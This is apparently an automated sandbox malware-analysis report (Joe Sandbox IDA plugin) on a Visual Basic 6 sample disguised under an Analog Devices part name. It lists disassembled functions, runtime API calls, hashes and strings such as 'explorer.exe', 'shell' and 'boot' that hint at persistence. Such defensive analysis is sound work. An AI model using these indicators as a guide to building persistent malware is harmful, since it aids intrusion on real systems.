Part of subcall function 004295B0: __vbaStrToAnsi.MSVBVM60(?,?,00000000,?,00000000,?,00000000,?,?,?,?,?,?,?,?,?), ref: 0042961E
Part of subcall function 004295B0: __vbaSetSystemError.MSVBVM60(00000000,?,00000000,?,00000000,?,00000000,?,?,?,?,?,?,?,?,?), ref: 00429629
Part of subcall function 004295B0: __vbaStrToUnicode.MSVBVM60(00000000,?,?,00000000,?,00000000,?,00000000), ref: 0042963D
Part of subcall function 004295B0: __vbaStrToUnicode.MSVBVM60(004032B6,?,?,00000000,?,00000000,?,00000000), ref: 00429647
Part of subcall function 004295B0: __vbaStrToUnicode.MSVBVM60(?,?,?,00000000,?,00000000,?,00000000), ref: 0042964E
Part of subcall function 004295B0: __vbaStrToUnicode.MSVBVM60(?,?,?,00000000,?,00000000,?,00000000), ref: 00429655
Part of subcall function 004295B0: __vbaI2I4.MSVBVM60(?,00000000,?,00000000,?,00000000,?,?,?,?,?,?,?,?,?,004032B6), ref: 0042965A
Part of subcall function 004295B0: __vbaFreeStrList.MSVBVM60(00000004,?,?,?,?,?,00000000,?,00000000,?,00000000), ref: 00429675

__vbaFreeStrList.MSVBVM60(00000007,?,?,?,00000000,?,?,?,00000000,?,?,?,?,00000000), ref: 004297D9

Strings

boot, xrefs: 00429798
yLb+$8, xrefs: 0042971B
explorer.exe, , xrefs: 0042975C
shell, xrefs: 0042978A

Memory Dump Source

Source File: 00000000.00000002.1677046602.0000000000402000.00000080.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1676803871.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676973407.0000000000401000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1677228769.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1677277778.000000000042E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ADSP-21593BBPZ10 Analog Devices, Inc.jbxd

Similarity

API ID: __vba$Move$AnsiFreeUnicode$Copy$#516#631ErrorList$BstrChkstkSystem
String ID: boot$explorer.exe, $shell$yLb+$8
API String ID: 913952100-2157437457
Opcode ID: 5a922159ef6c9492d48b2dcfb2da36ea5094812e49396599d2798a0ab338517f
Instruction ID: 6554cbec377a6d1fb2d016b249b8349fe5e87df9b4ee87d3b31f4120235b6aae
Opcode Fuzzy Hash: 5a922159ef6c9492d48b2dcfb2da36ea5094812e49396599d2798a0ab338517f
Instruction Fuzzy Hash: 9E311072910208EBCB05EF94DE58EDE7BB8FB48300F10812AF502B75A0DB745A48CBA4

Function 00419F80 Relevance: 28.1, APIs: 12, Strings: 4, Instructions: 84COMMON

Download Yara Rule

APIs

#712.MSVBVM60(?,\??\,00408114,00000001,000000FF,00000000,?,00000000,?,?,00000000,Function_000032B6,00000000), ref: 00419FCC
__vbaStrMove.MSVBVM60(?,\??\,00408114,00000001,000000FF,00000000,?,00000000,?,?,00000000,Function_000032B6,00000000), ref: 00419FD9
#712.MSVBVM60(?,\\?\,00408114,00000001,000000FF,00000000,?,\??\,00408114,00000001,000000FF,00000000,?,00000000), ref: 00419FEE
__vbaStrMove.MSVBVM60(?,\??\,00408114,00000001,000000FF,00000000,?,00000000,?,?,00000000,Function_000032B6,00000000), ref: 00419FF5
#712.MSVBVM60(?,\SystemRoot\,00000000,00000001,000000FF,00000001,?,\??\,00408114,00000001,000000FF,00000000,?,00000000), ref: 0041A00C
__vbaStrMove.MSVBVM60(?,\??\,00408114,00000001,000000FF,00000000,?,00000000,?,?,00000000,Function_000032B6,00000000), ref: 0041A013
#712.MSVBVM60(?,%systemroot%,00000000,00000001,000000FF,00000001,?,\??\,00408114,00000001,000000FF,00000000,?,00000000), ref: 0041A02B
__vbaStrMove.MSVBVM60(?,\??\,00408114,00000001,000000FF,00000000,?,00000000,?,?,00000000,Function_000032B6,00000000), ref: 0041A032
#712.MSVBVM60(?,00409A70,00406544,00000001,000000FF,00000000,?,\??\,00408114,00000001,000000FF,00000000,?,00000000), ref: 0041A047
__vbaStrMove.MSVBVM60(?,\??\,00408114,00000001,000000FF,00000000,?,00000000,?,?,00000000,Function_000032B6,00000000), ref: 0041A04E
__vbaStrCopy.MSVBVM60(?,\??\,00408114,00000001,000000FF,00000000,?,00000000,?,?,00000000,Function_000032B6,00000000), ref: 0041A056
__vbaFreeStr.MSVBVM60(0041A077,?,\??\,00408114,00000001,000000FF,00000000,?,00000000,?,?,00000000,Function_000032B6,00000000), ref: 0041A070

Strings

\??\, xrefs: 00419FC0
%systemroot%, xrefs: 0041A025
\SystemRoot\, xrefs: 0041A006
\\?\, xrefs: 00419FE8

Memory Dump Source

Source File: 00000000.00000002.1677046602.0000000000402000.00000080.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1676803871.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676973407.0000000000401000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1677228769.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1677277778.000000000042E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ADSP-21593BBPZ10 Analog Devices, Inc.jbxd

Similarity

API ID: __vba$#712Move$CopyFree
String ID: %systemroot%$\??\$\SystemRoot\$\\?\
API String ID: 2546659950-1311169778
Opcode ID: 3bbe944c0420e29e53f14083bd92761ec41afb95eb268ab6b37192bc3106c6e6
Instruction ID: d6e337f52aa0f406b5b9e7ae7ca613ada50fa9dc8b45b6b45c56035a55262318
Opcode Fuzzy Hash: 3bbe944c0420e29e53f14083bd92761ec41afb95eb268ab6b37192bc3106c6e6
Instruction Fuzzy Hash: 7F213771B502197BCB00DB54CD82FEFBBB9AB54714F20422AB211B72E4DAB45D458ED4

Function 004174C3 Relevance: 27.1, APIs: 18, Instructions: 103COMMON

Download Yara Rule

APIs

__vbaStrCopy.MSVBVM60(004178BC), ref: 00417733
#616.MSVBVM60(00000000,00000000), ref: 00417754
__vbaStrMove.MSVBVM60 ref: 0041775F
__vbaStrCat.MSVBVM60(00000000,00000000), ref: 00417769
__vbaStrMove.MSVBVM60 ref: 00417770
#631.MSVBVM60(00000000,-00000001,0000000A,00000000), ref: 0041778E
__vbaStrMove.MSVBVM60 ref: 00417799
__vbaStrCat.MSVBVM60(00000000), ref: 0041779C
__vbaStrMove.MSVBVM60 ref: 004177A5
__vbaFreeStrList.MSVBVM60(00000003,?,?,?), ref: 004177B5
__vbaFreeVar.MSVBVM60 ref: 004177C1
__vbaLenBstr.MSVBVM60(00000000), ref: 004177CD
__vbaStrCopy.MSVBVM60 ref: 004177F0
__vbaSetSystemError.MSVBVM60(00000000,?,?,?), ref: 00417814
__vbaAryUnlock.MSVBVM60(?,004178BC), ref: 004178A0
__vbaAryUnlock.MSVBVM60(?), ref: 004178A9
__vbaFreeStr.MSVBVM60 ref: 004178B4
__vbaFreeStr.MSVBVM60 ref: 004178B9

Memory Dump Source

Source File: 00000000.00000002.1677046602.0000000000402000.00000080.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1676803871.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676973407.0000000000401000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1677228769.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1677277778.000000000042E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ADSP-21593BBPZ10 Analog Devices, Inc.jbxd

Similarity

API ID: __vba$FreeMove$CopyUnlock$#616#631BstrErrorListSystem
String ID:
API String ID: 1554985673-0
Opcode ID: 6726c06902441f1d2235df1c00d48d0c759b3237af640a1265f08938f302ce1f
Instruction ID: babe0322a797a5b6fd9da037fd94c9e8bb3a8b55dbd2c7b94b419f711927b1e7
Opcode Fuzzy Hash: 6726c06902441f1d2235df1c00d48d0c759b3237af640a1265f08938f302ce1f
Instruction Fuzzy Hash: A741A575A04114DFC724DFA4ED849EE77B9EF48300F10456BE505A3261DB785986CF58

Function 0041744B Relevance: 27.1, APIs: 18, Instructions: 96COMMON

Download Yara Rule

APIs

__vbaStrCopy.MSVBVM60(004178BC), ref: 00417733
#616.MSVBVM60(00000000,00000000), ref: 00417754
__vbaStrMove.MSVBVM60 ref: 0041775F
__vbaStrCat.MSVBVM60(00000000,00000000), ref: 00417769
__vbaStrMove.MSVBVM60 ref: 00417770
#631.MSVBVM60(00000000,-00000001,0000000A,00000000), ref: 0041778E
__vbaStrMove.MSVBVM60 ref: 00417799
__vbaStrCat.MSVBVM60(00000000), ref: 0041779C
__vbaStrMove.MSVBVM60 ref: 004177A5
__vbaFreeStrList.MSVBVM60(00000003,?,?,?), ref: 004177B5
__vbaFreeVar.MSVBVM60 ref: 004177C1
__vbaLenBstr.MSVBVM60(00000000), ref: 004177CD
__vbaStrCopy.MSVBVM60 ref: 004177F0
__vbaSetSystemError.MSVBVM60(00000000,?,?,?), ref: 00417814
__vbaAryUnlock.MSVBVM60(?,004178BC), ref: 004178A0
__vbaAryUnlock.MSVBVM60(?), ref: 004178A9
__vbaFreeStr.MSVBVM60 ref: 004178B4
__vbaFreeStr.MSVBVM60 ref: 004178B9
__vbaErrorOverflow.MSVBVM60(0000000A,00000000), ref: 00417A16
__vbaAryLock.MSVBVM60(?,00000000,6D03A323,6D04D8B1,6D04D8E2), ref: 00417B35
__vbaGenerateBoundsError.MSVBVM60 ref: 00417B5A
__vbaGenerateBoundsError.MSVBVM60 ref: 00417B6E
__vbaSetSystemError.MSVBVM60 ref: 00417B9B
__vbaStrMove.MSVBVM60(?), ref: 00417BB5
__vbaStrMove.MSVBVM60(?), ref: 00417BC5
__vbaStrCat.MSVBVM60(?,00406F58,?,00000001), ref: 00417BD5
__vbaStrMove.MSVBVM60(?,00000001), ref: 00417BDC
__vbaStrCat.MSVBVM60(00406F58,00000000,?,00000001), ref: 00417BE4
__vbaStrMove.MSVBVM60(?,00000001), ref: 00417BEB
__vbaInStr.MSVBVM60(00000001,00000000,?,00000001), ref: 00417BF0
__vbaStrCat.MSVBVM60(?,00407CCC,00000000,00000001,?,00000001), ref: 00417C13
__vbaStrMove.MSVBVM60(?,00000001), ref: 00417C1A
__vbaStrCat.MSVBVM60(00407CCC,00000000,?,00000001), ref: 00417C22
__vbaStrMove.MSVBVM60(?,00000001), ref: 00417C29
__vbaInStr.MSVBVM60(00000001,00000000,?,00000001), ref: 00417C2E
__vbaFreeStrList.MSVBVM60(00000004,?,?,?,?,?,00000001), ref: 00417C59
__vbaAryUnlock.MSVBVM60(?), ref: 00417C6E
__vbaSetSystemError.MSVBVM60(?,?), ref: 00417CA1
__vbaSetSystemError.MSVBVM60(?,?,00000014), ref: 00417CB2

Memory Dump Source

Source File: 00000000.00000002.1677046602.0000000000402000.00000080.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1676803871.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676973407.0000000000401000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1677228769.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1677277778.000000000042E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ADSP-21593BBPZ10 Analog Devices, Inc.jbxd

Similarity

API ID: __vba$Move$Error$Free$System$Unlock$BoundsCopyGenerateList$#616#631BstrLockOverflow
String ID:
API String ID: 1701566546-0
Opcode ID: cf3ab2ae2adb5bb4c47874d4caa9ec11272c050c9bbc593e4460deddaa42495f
Instruction ID: 2258cb0996f04db46dac934d03965dd60a716a157fe6f4ee4cac8ab8ed0125e9
Opcode Fuzzy Hash: cf3ab2ae2adb5bb4c47874d4caa9ec11272c050c9bbc593e4460deddaa42495f
Instruction Fuzzy Hash: 73316EB1A00119DFCB14DFA4ED84DEE7B79EF88300F50856AE506E3261DB385986CF68

Function 00417469 Relevance: 27.1, APIs: 18, Instructions: 96COMMON

Download Yara Rule

APIs

__vbaStrCopy.MSVBVM60(004178BC), ref: 00417733
#616.MSVBVM60(00000000,00000000), ref: 00417754
__vbaStrMove.MSVBVM60 ref: 0041775F
__vbaStrCat.MSVBVM60(00000000,00000000), ref: 00417769
__vbaStrMove.MSVBVM60 ref: 00417770
#631.MSVBVM60(00000000,-00000001,0000000A,00000000), ref: 0041778E
__vbaStrMove.MSVBVM60 ref: 00417799
__vbaStrCat.MSVBVM60(00000000), ref: 0041779C
__vbaStrMove.MSVBVM60 ref: 004177A5
__vbaFreeStrList.MSVBVM60(00000003,?,?,?), ref: 004177B5
__vbaFreeVar.MSVBVM60 ref: 004177C1
__vbaLenBstr.MSVBVM60(00000000), ref: 004177CD
__vbaStrCopy.MSVBVM60 ref: 004177F0
__vbaSetSystemError.MSVBVM60(00000000,?,?,?), ref: 00417814
__vbaAryUnlock.MSVBVM60(?,004178BC), ref: 004178A0
__vbaAryUnlock.MSVBVM60(?), ref: 004178A9
__vbaFreeStr.MSVBVM60 ref: 004178B4
__vbaFreeStr.MSVBVM60 ref: 004178B9
__vbaErrorOverflow.MSVBVM60(0000000A,00000000), ref: 00417A16
__vbaAryLock.MSVBVM60(?,00000000,6D03A323,6D04D8B1,6D04D8E2), ref: 00417B35
__vbaGenerateBoundsError.MSVBVM60 ref: 00417B5A
__vbaGenerateBoundsError.MSVBVM60 ref: 00417B6E
__vbaSetSystemError.MSVBVM60 ref: 00417B9B
__vbaStrMove.MSVBVM60(?), ref: 00417BB5
__vbaStrMove.MSVBVM60(?), ref: 00417BC5
__vbaStrCat.MSVBVM60(?,00406F58,?,00000001), ref: 00417BD5
__vbaStrMove.MSVBVM60(?,00000001), ref: 00417BDC
__vbaStrCat.MSVBVM60(00406F58,00000000,?,00000001), ref: 00417BE4
__vbaStrMove.MSVBVM60(?,00000001), ref: 00417BEB
__vbaInStr.MSVBVM60(00000001,00000000,?,00000001), ref: 00417BF0
__vbaStrCat.MSVBVM60(?,00407CCC,00000000,00000001,?,00000001), ref: 00417C13
__vbaStrMove.MSVBVM60(?,00000001), ref: 00417C1A
__vbaStrCat.MSVBVM60(00407CCC,00000000,?,00000001), ref: 00417C22
__vbaStrMove.MSVBVM60(?,00000001), ref: 00417C29
__vbaInStr.MSVBVM60(00000001,00000000,?,00000001), ref: 00417C2E
__vbaFreeStrList.MSVBVM60(00000004,?,?,?,?,?,00000001), ref: 00417C59
__vbaAryUnlock.MSVBVM60(?), ref: 00417C6E
__vbaSetSystemError.MSVBVM60(?,?), ref: 00417CA1
__vbaSetSystemError.MSVBVM60(?,?,00000014), ref: 00417CB2

Memory Dump Source

Source File: 00000000.00000002.1677046602.0000000000402000.00000080.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1676803871.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676973407.0000000000401000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1677228769.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1677277778.000000000042E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ADSP-21593BBPZ10 Analog Devices, Inc.jbxd

Similarity

API ID: __vba$Move$Error$Free$System$Unlock$BoundsCopyGenerateList$#616#631BstrLockOverflow
String ID:
API String ID: 1701566546-0
Opcode ID: 246257148df8c58a63151417e2fa6cf9abfb38d00579c66028cbeba8a36e54a7
Instruction ID: 1778df844528236c0a987ac4d2ed461284e935b427befae0ad271591413caba1
Opcode Fuzzy Hash: 246257148df8c58a63151417e2fa6cf9abfb38d00579c66028cbeba8a36e54a7
Instruction Fuzzy Hash: A13150B5A00119DFCB14DFA4ED84DEE7779EF88300F10856AE506E3261DB385986CF68

Function 004174E1 Relevance: 27.1, APIs: 18, Instructions: 96COMMON

Download Yara Rule

APIs

__vbaStrCopy.MSVBVM60(004178BC), ref: 00417733
#616.MSVBVM60(00000000,00000000), ref: 00417754
__vbaStrMove.MSVBVM60 ref: 0041775F
__vbaStrCat.MSVBVM60(00000000,00000000), ref: 00417769
__vbaStrMove.MSVBVM60 ref: 00417770
#631.MSVBVM60(00000000,-00000001,0000000A,00000000), ref: 0041778E
__vbaStrMove.MSVBVM60 ref: 00417799
__vbaStrCat.MSVBVM60(00000000), ref: 0041779C
__vbaStrMove.MSVBVM60 ref: 004177A5
__vbaFreeStrList.MSVBVM60(00000003,?,?,?), ref: 004177B5
__vbaFreeVar.MSVBVM60 ref: 004177C1
__vbaLenBstr.MSVBVM60(00000000), ref: 004177CD
__vbaStrCopy.MSVBVM60 ref: 004177F0
__vbaSetSystemError.MSVBVM60(00000000,?,?,?), ref: 00417814
__vbaAryUnlock.MSVBVM60(?,004178BC), ref: 004178A0
__vbaAryUnlock.MSVBVM60(?), ref: 004178A9
__vbaFreeStr.MSVBVM60 ref: 004178B4
__vbaFreeStr.MSVBVM60 ref: 004178B9
__vbaErrorOverflow.MSVBVM60(0000000A,00000000), ref: 00417A16
__vbaAryLock.MSVBVM60(?,00000000,6D03A323,6D04D8B1,6D04D8E2), ref: 00417B35
__vbaGenerateBoundsError.MSVBVM60 ref: 00417B5A
__vbaGenerateBoundsError.MSVBVM60 ref: 00417B6E
__vbaSetSystemError.MSVBVM60 ref: 00417B9B
__vbaStrMove.MSVBVM60(?), ref: 00417BB5
__vbaStrMove.MSVBVM60(?), ref: 00417BC5
__vbaStrCat.MSVBVM60(?,00406F58,?,00000001), ref: 00417BD5
__vbaStrMove.MSVBVM60(?,00000001), ref: 00417BDC
__vbaStrCat.MSVBVM60(00406F58,00000000,?,00000001), ref: 00417BE4
__vbaStrMove.MSVBVM60(?,00000001), ref: 00417BEB
__vbaInStr.MSVBVM60(00000001,00000000,?,00000001), ref: 00417BF0
__vbaStrCat.MSVBVM60(?,00407CCC,00000000,00000001,?,00000001), ref: 00417C13
__vbaStrMove.MSVBVM60(?,00000001), ref: 00417C1A
__vbaStrCat.MSVBVM60(00407CCC,00000000,?,00000001), ref: 00417C22
__vbaStrMove.MSVBVM60(?,00000001), ref: 00417C29
__vbaInStr.MSVBVM60(00000001,00000000,?,00000001), ref: 00417C2E
__vbaFreeStrList.MSVBVM60(00000004,?,?,?,?,?,00000001), ref: 00417C59
__vbaAryUnlock.MSVBVM60(?), ref: 00417C6E
__vbaSetSystemError.MSVBVM60(?,?), ref: 00417CA1
__vbaSetSystemError.MSVBVM60(?,?,00000014), ref: 00417CB2

Memory Dump Source

Source File: 00000000.00000002.1677046602.0000000000402000.00000080.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1676803871.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676973407.0000000000401000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1677228769.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1677277778.000000000042E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ADSP-21593BBPZ10 Analog Devices, Inc.jbxd

Similarity

API ID: __vba$Move$Error$Free$System$Unlock$BoundsCopyGenerateList$#616#631BstrLockOverflow
String ID:
API String ID: 1701566546-0
Opcode ID: 36b3d8d5935acc63e5f9ea94afa97a512f975b8c77cc1bcf6976f7907015c398
Instruction ID: f2cb84cfdc36a53c26a53c404fdd6523f55abe18ffc8f9b7dbfd1f77219752b6
Opcode Fuzzy Hash: 36b3d8d5935acc63e5f9ea94afa97a512f975b8c77cc1bcf6976f7907015c398
Instruction Fuzzy Hash: FD315075A00119DFCB14DFA4ED94DEE7779EF88300B10456AE506E3261DB349986CF68

Function 0041742D Relevance: 27.1, APIs: 18, Instructions: 94COMMON

Download Yara Rule

APIs

__vbaStrCopy.MSVBVM60(004178BC), ref: 00417733
#616.MSVBVM60(00000000,00000000), ref: 00417754
__vbaStrMove.MSVBVM60 ref: 0041775F
__vbaStrCat.MSVBVM60(00000000,00000000), ref: 00417769
__vbaStrMove.MSVBVM60 ref: 00417770
#631.MSVBVM60(00000000,-00000001,0000000A,00000000), ref: 0041778E
__vbaStrMove.MSVBVM60 ref: 00417799
__vbaStrCat.MSVBVM60(00000000), ref: 0041779C
__vbaStrMove.MSVBVM60 ref: 004177A5
__vbaFreeStrList.MSVBVM60(00000003,?,?,?), ref: 004177B5
__vbaFreeVar.MSVBVM60 ref: 004177C1
__vbaLenBstr.MSVBVM60(00000000), ref: 004177CD
__vbaStrCopy.MSVBVM60 ref: 004177F0
__vbaSetSystemError.MSVBVM60(00000000,?,?,?), ref: 00417814
__vbaAryUnlock.MSVBVM60(?,004178BC), ref: 004178A0
__vbaAryUnlock.MSVBVM60(?), ref: 004178A9
__vbaFreeStr.MSVBVM60 ref: 004178B4
__vbaFreeStr.MSVBVM60 ref: 004178B9
__vbaErrorOverflow.MSVBVM60(0000000A,00000000), ref: 00417A16
__vbaAryLock.MSVBVM60(?,00000000,6D03A323,6D04D8B1,6D04D8E2), ref: 00417B35
__vbaGenerateBoundsError.MSVBVM60 ref: 00417B5A
__vbaGenerateBoundsError.MSVBVM60 ref: 00417B6E
__vbaSetSystemError.MSVBVM60 ref: 00417B9B
__vbaStrMove.MSVBVM60(?), ref: 00417BB5
__vbaStrMove.MSVBVM60(?), ref: 00417BC5
__vbaStrCat.MSVBVM60(?,00406F58,?,00000001), ref: 00417BD5
__vbaStrMove.MSVBVM60(?,00000001), ref: 00417BDC
__vbaStrCat.MSVBVM60(00406F58,00000000,?,00000001), ref: 00417BE4
__vbaStrMove.MSVBVM60(?,00000001), ref: 00417BEB
__vbaInStr.MSVBVM60(00000001,00000000,?,00000001), ref: 00417BF0
__vbaStrCat.MSVBVM60(?,00407CCC,00000000,00000001,?,00000001), ref: 00417C13
__vbaStrMove.MSVBVM60(?,00000001), ref: 00417C1A
__vbaStrCat.MSVBVM60(00407CCC,00000000,?,00000001), ref: 00417C22
__vbaStrMove.MSVBVM60(?,00000001), ref: 00417C29
__vbaInStr.MSVBVM60(00000001,00000000,?,00000001), ref: 00417C2E
__vbaFreeStrList.MSVBVM60(00000004,?,?,?,?,?,00000001), ref: 00417C59
__vbaAryUnlock.MSVBVM60(?), ref: 00417C6E
__vbaSetSystemError.MSVBVM60(?,?), ref: 00417CA1
__vbaSetSystemError.MSVBVM60(?,?,00000014), ref: 00417CB2

Memory Dump Source

Source File: 00000000.00000002.1677046602.0000000000402000.00000080.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1676803871.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676973407.0000000000401000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1677228769.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1677277778.000000000042E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ADSP-21593BBPZ10 Analog Devices, Inc.jbxd

Similarity

API ID: __vba$Move$Error$Free$System$Unlock$BoundsCopyGenerateList$#616#631BstrLockOverflow
String ID:
API String ID: 1701566546-0
Opcode ID: 07de24749f671f96814f1a4586ac660af873eea27dc505617471f5a8f1a16d63
Instruction ID: 6a6c65185a8990ed76a7925615099f76a1e8909006d367d433fa78fd926de25a
Opcode Fuzzy Hash: 07de24749f671f96814f1a4586ac660af873eea27dc505617471f5a8f1a16d63
Instruction Fuzzy Hash: 70318071A00158DFCB14DBE4ED84DEE7B79EF88300B10456AE505E3261DA345986CF68

Function 004174FF Relevance: 27.1, APIs: 18, Instructions: 93COMMON

Download Yara Rule

APIs

__vbaStrCopy.MSVBVM60(004178BC), ref: 00417733
#616.MSVBVM60(00000000,00000000), ref: 00417754
__vbaStrMove.MSVBVM60 ref: 0041775F
__vbaStrCat.MSVBVM60(00000000,00000000), ref: 00417769
__vbaStrMove.MSVBVM60 ref: 00417770
#631.MSVBVM60(00000000,-00000001,0000000A,00000000), ref: 0041778E
__vbaStrMove.MSVBVM60 ref: 00417799
__vbaStrCat.MSVBVM60(00000000), ref: 0041779C
__vbaStrMove.MSVBVM60 ref: 004177A5
__vbaFreeStrList.MSVBVM60(00000003,?,?,?), ref: 004177B5
__vbaFreeVar.MSVBVM60 ref: 004177C1
__vbaLenBstr.MSVBVM60(00000000), ref: 004177CD
__vbaStrCopy.MSVBVM60 ref: 004177F0
__vbaSetSystemError.MSVBVM60(00000000,?,?,?), ref: 00417814
__vbaAryUnlock.MSVBVM60(?,004178BC), ref: 004178A0
__vbaAryUnlock.MSVBVM60(?), ref: 004178A9
__vbaFreeStr.MSVBVM60 ref: 004178B4
__vbaFreeStr.MSVBVM60 ref: 004178B9
__vbaErrorOverflow.MSVBVM60(0000000A,00000000), ref: 00417A16
__vbaAryLock.MSVBVM60(?,00000000,6D03A323,6D04D8B1,6D04D8E2), ref: 00417B35
__vbaGenerateBoundsError.MSVBVM60 ref: 00417B5A
__vbaGenerateBoundsError.MSVBVM60 ref: 00417B6E
__vbaSetSystemError.MSVBVM60 ref: 00417B9B
__vbaStrMove.MSVBVM60(?), ref: 00417BB5
__vbaStrMove.MSVBVM60(?), ref: 00417BC5
__vbaStrCat.MSVBVM60(?,00406F58,?,00000001), ref: 00417BD5
__vbaStrMove.MSVBVM60(?,00000001), ref: 00417BDC
__vbaStrCat.MSVBVM60(00406F58,00000000,?,00000001), ref: 00417BE4
__vbaStrMove.MSVBVM60(?,00000001), ref: 00417BEB
__vbaInStr.MSVBVM60(00000001,00000000,?,00000001), ref: 00417BF0
__vbaStrCat.MSVBVM60(?,00407CCC,00000000,00000001,?,00000001), ref: 00417C13
__vbaStrMove.MSVBVM60(?,00000001), ref: 00417C1A
__vbaStrCat.MSVBVM60(00407CCC,00000000,?,00000001), ref: 00417C22
__vbaStrMove.MSVBVM60(?,00000001), ref: 00417C29
__vbaInStr.MSVBVM60(00000001,00000000,?,00000001), ref: 00417C2E
__vbaFreeStrList.MSVBVM60(00000004,?,?,?,?,?,00000001), ref: 00417C59
__vbaAryUnlock.MSVBVM60(?), ref: 00417C6E
__vbaSetSystemError.MSVBVM60(?,?), ref: 00417CA1
__vbaSetSystemError.MSVBVM60(?,?,00000014), ref: 00417CB2

Memory Dump Source

Source File: 00000000.00000002.1677046602.0000000000402000.00000080.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1676803871.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676973407.0000000000401000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1677228769.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1677277778.000000000042E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ADSP-21593BBPZ10 Analog Devices, Inc.jbxd

Similarity

API ID: __vba$Move$Error$Free$System$Unlock$BoundsCopyGenerateList$#616#631BstrLockOverflow
String ID:
API String ID: 1701566546-0
Opcode ID: 77e56cfcc552817e7ee37a59d80ef930704b94eed13a9294e71aa4068a8ebed6
Instruction ID: 866caa4c8eac6f19f1194a02b11e2fb1ed896fcf014f3bed80b5db7ea06780d3
Opcode Fuzzy Hash: 77e56cfcc552817e7ee37a59d80ef930704b94eed13a9294e71aa4068a8ebed6
Instruction Fuzzy Hash: A53160B1A00158DFCB14DBA4ED94DEE7B79EF88300F10856AE506A3261DB345986CF68

Function 00417487 Relevance: 27.1, APIs: 18, Instructions: 93COMMON

Download Yara Rule

APIs

__vbaStrCopy.MSVBVM60(004178BC), ref: 00417733
#616.MSVBVM60(00000000,00000000), ref: 00417754
__vbaStrMove.MSVBVM60 ref: 0041775F
__vbaStrCat.MSVBVM60(00000000,00000000), ref: 00417769
__vbaStrMove.MSVBVM60 ref: 00417770
#631.MSVBVM60(00000000,-00000001,0000000A,00000000), ref: 0041778E
__vbaStrMove.MSVBVM60 ref: 00417799
__vbaStrCat.MSVBVM60(00000000), ref: 0041779C
__vbaStrMove.MSVBVM60 ref: 004177A5
__vbaFreeStrList.MSVBVM60(00000003,?,?,?), ref: 004177B5
__vbaFreeVar.MSVBVM60 ref: 004177C1
__vbaLenBstr.MSVBVM60(00000000), ref: 004177CD
__vbaStrCopy.MSVBVM60 ref: 004177F0
__vbaSetSystemError.MSVBVM60(00000000,?,?,?), ref: 00417814
__vbaAryUnlock.MSVBVM60(?,004178BC), ref: 004178A0
__vbaAryUnlock.MSVBVM60(?), ref: 004178A9
__vbaFreeStr.MSVBVM60 ref: 004178B4
__vbaFreeStr.MSVBVM60 ref: 004178B9
__vbaErrorOverflow.MSVBVM60(0000000A,00000000), ref: 00417A16
__vbaAryLock.MSVBVM60(?,00000000,6D03A323,6D04D8B1,6D04D8E2), ref: 00417B35
__vbaGenerateBoundsError.MSVBVM60 ref: 00417B5A
__vbaGenerateBoundsError.MSVBVM60 ref: 00417B6E
__vbaSetSystemError.MSVBVM60 ref: 00417B9B
__vbaStrMove.MSVBVM60(?), ref: 00417BB5
